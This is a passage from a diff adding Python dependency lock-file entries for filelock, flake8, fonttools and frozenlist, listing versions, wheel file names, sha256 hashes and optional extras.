"filelock-3.18.0-py3-none-any.whl", hash = "sha256:c401f4f8377c4464e6db25fff06205fd89bdd83b65eb0488ed1b160f780e21de"}, + {file = "filelock-3.18.0.tar.gz", hash = "sha256:adbc88eabb99d2fec8c9c1b229b171f18afa655400173ddc653d5d01501fb9f2"}, +] + +[package.extras] +docs = ["furo (>=2024.8.6)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] +testing = ["covdefaults (>=2.3)", "coverage (>=7.6.10)", "diff-cover (>=9.2.1)", "pytest (>=8.3.4)", "pytest-asyncio (>=0.25.2)", "pytest-cov (>=6)", "pytest-mock (>=3.14)", "pytest-timeout (>=2.3.1)", "virtualenv (>=20.28.1)"] +typing = ["typing-extensions (>=4.12.2)"] + +[[package]] +name = "flake8" +version = "7.3.0" +description = "the modular source code checker: pep8 pyflakes and co" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e"}, + {file = "flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872"}, +] + +[package.dependencies] +mccabe = ">=0.7.0,<0.8.0" +pycodestyle = ">=2.14.0,<2.15.0" +pyflakes = ">=3.4.0,<3.5.0" + +[[package]] +name = "fonttools" +version = "4.59.0" +description = "Tools to manipulate font files" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "fonttools-4.59.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:524133c1be38445c5c0575eacea42dbd44374b310b1ffc4b60ff01d881fabb96"}, + {file = "fonttools-4.59.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21e606b2d38fed938dde871c5736822dd6bda7a4631b92e509a1f5cd1b90c5df"}, + {file = "fonttools-4.59.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e93df708c69a193fc7987192f94df250f83f3851fda49413f02ba5dded639482"}, + {file = "fonttools-4.59.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:62224a9bb85b4b66d1b46d45cbe43d71cbf8f527d332b177e3b96191ffbc1e64"}, + {file = "fonttools-4.59.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b8974b2a266b54c96709bd5e239979cddfd2dbceed331aa567ea1d7c4a2202db"}, + {file = "fonttools-4.59.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:209b75943d158f610b78320eacb5539aa9e920bee2c775445b2846c65d20e19d"}, + {file = "fonttools-4.59.0-cp310-cp310-win32.whl", hash = "sha256:4c908a7036f0f3677f8afa577bcd973e3e20ddd2f7c42a33208d18bee95cdb6f"}, + {file = "fonttools-4.59.0-cp310-cp310-win_amd64.whl", hash = "sha256:8b4309a2775e4feee7356e63b163969a215d663399cce1b3d3b65e7ec2d9680e"}, + {file = "fonttools-4.59.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:841b2186adce48903c0fef235421ae21549020eca942c1da773ac380b056ab3c"}, + {file = "fonttools-4.59.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9bcc1e77fbd1609198966ded6b2a9897bd6c6bcbd2287a2fc7d75f1a254179c5"}, + {file = "fonttools-4.59.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:37c377f7cb2ab2eca8a0b319c68146d34a339792f9420fca6cd49cf28d370705"}, + {file = "fonttools-4.59.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fa39475eaccb98f9199eccfda4298abaf35ae0caec676ffc25b3a5e224044464"}, + {file = "fonttools-4.59.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d3972b13148c1d1fbc092b27678a33b3080d1ac0ca305742b0119b75f9e87e38"}, + {file = "fonttools-4.59.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a408c3c51358c89b29cfa5317cf11518b7ce5de1717abb55c5ae2d2921027de6"}, + {file = "fonttools-4.59.0-cp311-cp311-win32.whl", hash = "sha256:6770d7da00f358183d8fd5c4615436189e4f683bdb6affb02cad3d221d7bb757"}, + {file = "fonttools-4.59.0-cp311-cp311-win_amd64.whl", hash = "sha256:84fc186980231a287b28560d3123bd255d3c6b6659828c642b4cf961e2b923d0"}, + {file = "fonttools-4.59.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:f9b3a78f69dcbd803cf2fb3f972779875b244c1115481dfbdd567b2c22b31f6b"}, + {file = "fonttools-4.59.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:57bb7e26928573ee7c6504f54c05860d867fd35e675769f3ce01b52af38d48e2"}, + {file = "fonttools-4.59.0-cp312-cp312-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4536f2695fe5c1ffb528d84a35a7d3967e5558d2af58b4775e7ab1449d65767b"}, + {file = "fonttools-4.59.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:885bde7d26e5b40e15c47bd5def48b38cbd50830a65f98122a8fb90962af7cd1"}, + {file = "fonttools-4.59.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6801aeddb6acb2c42eafa45bc1cb98ba236871ae6f33f31e984670b749a8e58e"}, + {file = "fonttools-4.59.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:31003b6a10f70742a63126b80863ab48175fb8272a18ca0846c0482968f0588e"}, + {file = "fonttools-4.59.0-cp312-cp312-win32.whl", hash = "sha256:fbce6dae41b692a5973d0f2158f782b9ad05babc2c2019a970a1094a23909b1b"}, + {file = "fonttools-4.59.0-cp312-cp312-win_amd64.whl", hash = "sha256:332bfe685d1ac58ca8d62b8d6c71c2e52a6c64bc218dc8f7825c9ea51385aa01"}, + {file = "fonttools-4.59.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:78813b49d749e1bb4db1c57f2d4d7e6db22c253cb0a86ad819f5dc197710d4b2"}, + {file = "fonttools-4.59.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:401b1941ce37e78b8fd119b419b617277c65ae9417742a63282257434fd68ea2"}, + {file = "fonttools-4.59.0-cp313-cp313-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:efd7e6660674e234e29937bc1481dceb7e0336bfae75b856b4fb272b5093c5d4"}, + {file = "fonttools-4.59.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51ab1ff33c19e336c02dee1e9fd1abd974a4ca3d8f7eef2a104d0816a241ce97"}, + {file = "fonttools-4.59.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a9bf8adc9e1f3012edc8f09b08336272aec0c55bc677422273e21280db748f7c"}, + {file = "fonttools-4.59.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:37e01c6ec0c98599778c2e688350d624fa4770fbd6144551bd5e032f1199171c"}, + {file = "fonttools-4.59.0-cp313-cp313-win32.whl", hash = "sha256:70d6b3ceaa9cc5a6ac52884f3b3d9544e8e231e95b23f138bdb78e6d4dc0eae3"}, + {file = "fonttools-4.59.0-cp313-cp313-win_amd64.whl", hash = "sha256:26731739daa23b872643f0e4072d5939960237d540c35c14e6a06d47d71ca8fe"}, + {file = "fonttools-4.59.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8d77f92438daeaddc05682f0f3dac90c5b9829bcac75b57e8ce09cb67786073c"}, + {file = "fonttools-4.59.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:60f6665579e909b618282f3c14fa0b80570fbf1ee0e67678b9a9d43aa5d67a37"}, + {file = "fonttools-4.59.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:169b99a2553a227f7b5fea8d9ecd673aa258617f466b2abc6091fe4512a0dcd0"}, + {file = "fonttools-4.59.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:052444a5d0151878e87e3e512a1aa1a0ab35ee4c28afde0a778e23b0ace4a7de"}, + {file = "fonttools-4.59.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d40dcf533ca481355aa7b682e9e079f766f35715defa4929aeb5597f9604272e"}, + {file = "fonttools-4.59.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b818db35879d2edf7f46c7e729c700a0bce03b61b9412f5a7118406687cb151d"}, + {file = "fonttools-4.59.0-cp39-cp39-win32.whl", hash = "sha256:2e7cf8044ce2598bb87e44ba1d2c6e45d7a8decf56055b92906dc53f67c76d64"}, + {file = "fonttools-4.59.0-cp39-cp39-win_amd64.whl", hash = "sha256:902425f5afe28572d65d2bf9c33edd5265c612ff82c69e6f83ea13eafc0dcbea"}, + {file = "fonttools-4.59.0-py3-none-any.whl", hash = "sha256:241313683afd3baacb32a6bd124d0bce7404bc5280e12e291bae1b9bba28711d"}, + {file = "fonttools-4.59.0.tar.gz", hash = "sha256:be392ec3529e2f57faa28709d60723a763904f71a2b63aabe14fee6648fe3b14"}, +] + +[package.extras] +all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "lxml (>=4.0)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "pycairo", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.1.0)", "xattr", "zopfli (>=0.1.4)"] +graphite = ["lz4 (>=1.7.4.2)"] +interpolatable = ["munkres", "pycairo", "scipy"] +lxml = ["lxml (>=4.0)"] +pathops = ["skia-pathops (>=0.5.0)"] +plot = ["matplotlib"] +repacker = ["uharfbuzz (>=0.23.0)"] +symfont = ["sympy"] +type1 = ["xattr"] +unicode = ["unicodedata2 (>=15.1.0)"] +woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"] + +[[package]] +name = "frozenlist" +version = "1.7.0" +description = "A list-like structure which implements collections.abc.MutableSequence" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "frozenlist-1.7.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cc4df77d638aa2ed703b878dd093725b72a824c3c546c076e8fdf276f78ee84a"}, + {file = "frozenlist-1.7.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:716a9973a2cc963160394f701964fe25012600f3d311f60c790400b00e568b61"}, + {file = "frozenlist-1.7.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a0fd1bad056a3600047fb9462cff4c5322cebc59ebf5d0a3725e0ee78955001d"}, + {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3789ebc19cb811163e70fe2bd354cea097254ce6e707ae42e56f45e31e96cb8e"}, + {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:af369aa35ee34f132fcfad5be45fbfcde0e3a5f6a1ec0712857f286b7d20cca9"}, + {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac64b6478722eeb7a3313d494f8342ef3478dff539d17002f849101b212ef97c"}, + {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f89f65d85774f1797239693cef07ad4c97fdd0639544bad9ac4b869782eb1981"}, + {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1073557c941395fdfcfac13eb2456cb8aad89f9de27bae29fabca8e563b12615"}, + {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ed8d2fa095aae4bdc7fdd80351009a48d286635edffee66bf865e37a9125c50"}, + {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:24c34bea555fe42d9f928ba0a740c553088500377448febecaa82cc3e88aa1fa"}, + {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:69cac419ac6a6baad202c85aaf467b65ac860ac2e7f2ac1686dc40dbb52f6577"}, + {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:960d67d0611f4c87da7e2ae2eacf7ea81a5be967861e0c63cf205215afbfac59"}, + {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:41be2964bd4b15bf575e5daee5a5ce7ed3115320fb3c2b71fca05582ffa4dc9e"}, + {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:46d84d49e00c9429238a7ce02dc0be8f6d7cd0cd405abd1bebdc991bf27c15bd"}, + {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:15900082e886edb37480335d9d518cec978afc69ccbc30bd18610b7c1b22a718"}, + {file = "frozenlist-1.7.0-cp310-cp310-win32.whl", hash = "sha256:400ddd24ab4e55014bba442d917203c73b2846391dd42ca5e38ff52bb18c3c5e"}, + {file = "frozenlist-1.7.0-cp310-cp310-win_amd64.whl", hash = "sha256:6eb93efb8101ef39d32d50bce242c84bcbddb4f7e9febfa7b524532a239b4464"}, + {file = "frozenlist-1.7.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:aa51e147a66b2d74de1e6e2cf5921890de6b0f4820b257465101d7f37b49fb5a"}, + {file = "frozenlist-1.7.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9b35db7ce1cd71d36ba24f80f0c9e7cff73a28d7a74e91fe83e23d27c7828750"}, + {file = "frozenlist-1.7.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:34a69a85e34ff37791e94542065c8416c1afbf820b68f720452f636d5fb990cd"}, + {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a646531fa8d82c87fe4bb2e596f23173caec9185bfbca5d583b4ccfb95183e2"}, + {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:79b2ffbba483f4ed36a0f236ccb85fbb16e670c9238313709638167670ba235f"}, + {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a26f205c9ca5829cbf82bb2a84b5c36f7184c4316617d7ef1b271a56720d6b30"}, + {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bcacfad3185a623fa11ea0e0634aac7b691aa925d50a440f39b458e41c561d98"}, + {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72c1b0fe8fe451b34f12dce46445ddf14bd2a5bcad7e324987194dc8e3a74c86"}, + {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:61d1a5baeaac6c0798ff6edfaeaa00e0e412d49946c53fae8d4b8e8b3566c4ae"}, + {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7edf5c043c062462f09b6820de9854bf28cc6cc5b6714b383149745e287181a8"}, + {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:d50ac7627b3a1bd2dcef6f9da89a772694ec04d9a61b66cf87f7d9446b4a0c31"}, + {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ce48b2fece5aeb45265bb7a58259f45027db0abff478e3077e12b05b17fb9da7"}, + {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:fe2365ae915a1fafd982c146754e1de6ab3478def8a59c86e1f7242d794f97d5"}, + {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:45a6f2fdbd10e074e8814eb98b05292f27bad7d1883afbe009d96abdcf3bc898"}, + {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:21884e23cffabb157a9dd7e353779077bf5b8f9a58e9b262c6caad2ef5f80a56"}, + {file = "frozenlist-1.7.0-cp311-cp311-win32.whl", hash = "sha256:284d233a8953d7b24f9159b8a3496fc1ddc00f4db99c324bd5fb5f22d8698ea7"}, + {file = "frozenlist-1.7.0-cp311-cp311-win_amd64.whl", hash = "sha256:387cbfdcde2f2353f19c2f66bbb52406d06ed77519ac7ee21be0232147c2592d"}, + {file = "frozenlist-1.7.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3dbf9952c4bb0e90e98aec1bd992b3318685005702656bc6f67c1a32b76787f2"}, + {file = "frozenlist-1.7.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:1f5906d3359300b8a9bb194239491122e6cf1444c2efb88865426f170c262cdb"}, + {file = "frozenlist-1.7.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3dabd5a8f84573c8d10d8859a50ea2dec01eea372031929871368c09fa103478"}, + {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa57daa5917f1738064f302bf2626281a1cb01920c32f711fbc7bc36111058a8"}, + {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c193dda2b6d49f4c4398962810fa7d7c78f032bf45572b3e04dd5249dff27e08"}, + {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfe2b675cf0aaa6d61bf8fbffd3c274b3c9b7b1623beb3809df8a81399a4a9c4"}, + {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8fc5d5cda37f62b262405cf9652cf0856839c4be8ee41be0afe8858f17f4c94b"}, + {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0d5ce521d1dd7d620198829b87ea002956e4319002ef0bc8d3e6d045cb4646e"}, + {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:488d0a7d6a0008ca0db273c542098a0fa9e7dfaa7e57f70acef43f32b3f69dca"}, + {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:15a7eaba63983d22c54d255b854e8108e7e5f3e89f647fc854bd77a237e767df"}, + {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1eaa7e9c6d15df825bf255649e05bd8a74b04a4d2baa1ae46d9c2d00b2ca2cb5"}, + {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e4389e06714cfa9d47ab87f784a7c5be91d3934cd6e9a7b85beef808297cc025"}, + {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:73bd45e1488c40b63fe5a7df892baf9e2a4d4bb6409a2b3b78ac1c6236178e01"}, + {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99886d98e1643269760e5fe0df31e5ae7050788dd288947f7f007209b8c33f08"}, + {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:290a172aae5a4c278c6da8a96222e6337744cd9c77313efe33d5670b9f65fc43"}, + {file = "frozenlist-1.7.0-cp312-cp312-win32.whl", hash = "sha256:426c7bc70e07cfebc178bc4c2bf2d861d720c4fff172181eeb4a4c41d4ca2ad3"}, + {file = "frozenlist-1.7.0-cp312-cp312-win_amd64.whl", hash = "sha256:563b72efe5da92e02eb68c59cb37205457c977aa7a449ed1b37e6939e5c47c6a"}, + {file = "frozenlist-1.7.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee80eeda5e2a4e660651370ebffd1286542b67e268aa1ac8d6dbe973120ef7ee"}, + {file = "frozenlist-1.7.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d1a81c85417b914139e3a9b995d4a1c84559afc839a93cf2cb7f15e6e5f6ed2d"}, + {file = "frozenlist-1.7.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cbb65198a9132ebc334f237d7b0df163e4de83fb4f2bdfe46c1e654bdb0c5d43"}, + {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dab46c723eeb2c255a64f9dc05b8dd601fde66d6b19cdb82b2e09cc6ff8d8b5d"}, + {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6aeac207a759d0dedd2e40745575ae32ab30926ff4fa49b1635def65806fddee"}, + {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bd8c4e58ad14b4fa7802b8be49d47993182fdd4023393899632c88fd8cd994eb"}, + {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04fb24d104f425da3540ed83cbfc31388a586a7696142004c577fa61c6298c3f"}, + {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6a5c505156368e4ea6b53b5ac23c92d7edc864537ff911d2fb24c140bb175e60"}, + {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8bd7eb96a675f18aa5c553eb7ddc24a43c8c18f22e1f9925528128c052cdbe00"}, + {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:05579bf020096fe05a764f1f84cd104a12f78eaab68842d036772dc6d4870b4b"}, + {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:376b6222d114e97eeec13d46c486facd41d4f43bab626b7c3f6a8b4e81a5192c"}, + {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:0aa7e176ebe115379b5b1c95b4096fb1c17cce0847402e227e712c27bdb5a949"}, + {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3fbba20e662b9c2130dc771e332a99eff5da078b2b2648153a40669a6d0e36ca"}, + {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:f3f4410a0a601d349dd406b5713fec59b4cee7e71678d5b17edda7f4655a940b"}, + {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e2cdfaaec6a2f9327bf43c933c0319a7c429058e8537c508964a133dffee412e"}, + {file = "frozenlist-1.7.0-cp313-cp313-win32.whl", hash = "sha256:5fc4df05a6591c7768459caba1b342d9ec23fa16195e744939ba5914596ae3e1"}, + {file = "frozenlist-1.7.0-cp313-cp313-win_amd64.whl", hash = "sha256:52109052b9791a3e6b5d1b65f4b909703984b770694d3eb64fad124c835d7cba"}, + {file = "frozenlist-1.7.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:a6f86e4193bb0e235ef6ce3dde5cbabed887e0b11f516ce8a0f4d3b33078ec2d"}, + {file = "frozenlist-1.7.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:82d664628865abeb32d90ae497fb93df398a69bb3434463d172b80fc25b0dd7d"}, + {file = "frozenlist-1.7.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:912a7e8375a1c9a68325a902f3953191b7b292aa3c3fb0d71a216221deca460b"}, + {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9537c2777167488d539bc5de2ad262efc44388230e5118868e172dd4a552b146"}, + {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f34560fb1b4c3e30ba35fa9a13894ba39e5acfc5f60f57d8accde65f46cc5e74"}, + {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:acd03d224b0175f5a850edc104ac19040d35419eddad04e7cf2d5986d98427f1"}, + {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f2038310bc582f3d6a09b3816ab01737d60bf7b1ec70f5356b09e84fb7408ab1"}, + {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b8c05e4c8e5f36e5e088caa1bf78a687528f83c043706640a92cb76cd6999384"}, + {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:765bb588c86e47d0b68f23c1bee323d4b703218037765dcf3f25c838c6fecceb"}, + {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:32dc2e08c67d86d0969714dd484fd60ff08ff81d1a1e40a77dd34a387e6ebc0c"}, + {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:c0303e597eb5a5321b4de9c68e9845ac8f290d2ab3f3e2c864437d3c5a30cd65"}, + {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:a47f2abb4e29b3a8d0b530f7c3598badc6b134562b1a5caee867f7c62fee51e3"}, + {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:3d688126c242a6fabbd92e02633414d40f50bb6002fa4cf995a1d18051525657"}, + {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:4e7e9652b3d367c7bd449a727dc79d5043f48b88d0cbfd4f9f1060cf2b414104"}, + {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:1a85e345b4c43db8b842cab1feb41be5cc0b10a1830e6295b69d7310f99becaf"}, + {file = "frozenlist-1.7.0-cp313-cp313t-win32.whl", hash = "sha256:3a14027124ddb70dfcee5148979998066897e79f89f64b13328595c4bdf77c81"}, + {file = "frozenlist-1.7.0-cp313-cp313t-win_amd64.whl", hash = "sha256:3bf8010d71d4507775f658e9823210b7427be36625b387221642725b515dcf3e"}, + {file = "frozenlist-1.7.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:cea3dbd15aea1341ea2de490574a4a37ca080b2ae24e4b4f4b51b9057b4c3630"}, + {file = "frozenlist-1.7.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7d536ee086b23fecc36c2073c371572374ff50ef4db515e4e503925361c24f71"}, + {file = "frozenlist-1.7.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:dfcebf56f703cb2e346315431699f00db126d158455e513bd14089d992101e44"}, + {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:974c5336e61d6e7eb1ea5b929cb645e882aadab0095c5a6974a111e6479f8878"}, + {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c70db4a0ab5ab20878432c40563573229a7ed9241506181bba12f6b7d0dc41cb"}, + {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1137b78384eebaf70560a36b7b229f752fb64d463d38d1304939984d5cb887b6"}, + {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e793a9f01b3e8b5c0bc646fb59140ce0efcc580d22a3468d70766091beb81b35"}, + {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74739ba8e4e38221d2c5c03d90a7e542cb8ad681915f4ca8f68d04f810ee0a87"}, + {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1e63344c4e929b1a01e29bc184bbb5fd82954869033765bfe8d65d09e336a677"}, + {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2ea2a7369eb76de2217a842f22087913cdf75f63cf1307b9024ab82dfb525938"}, + {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = 